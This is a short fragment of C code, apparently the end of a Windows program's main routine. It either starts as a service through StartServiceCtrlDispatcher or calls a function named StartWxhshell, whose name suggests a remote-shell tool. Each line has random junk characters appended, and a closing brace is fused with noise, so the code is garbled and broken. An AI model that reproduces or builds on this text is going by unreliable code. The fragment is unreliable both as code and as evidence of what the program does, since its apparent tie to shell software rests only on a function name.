StartServiceCtrlDispatcher(DispatchTable); cPYQ<Y=
else YG|T;/-
// 普通方式启动 YWdvL3Bgk,
StartWxhshell(lpCmdLine); Ks-><-2+N
}8e%s;C
return 0; c eX*|B@=
}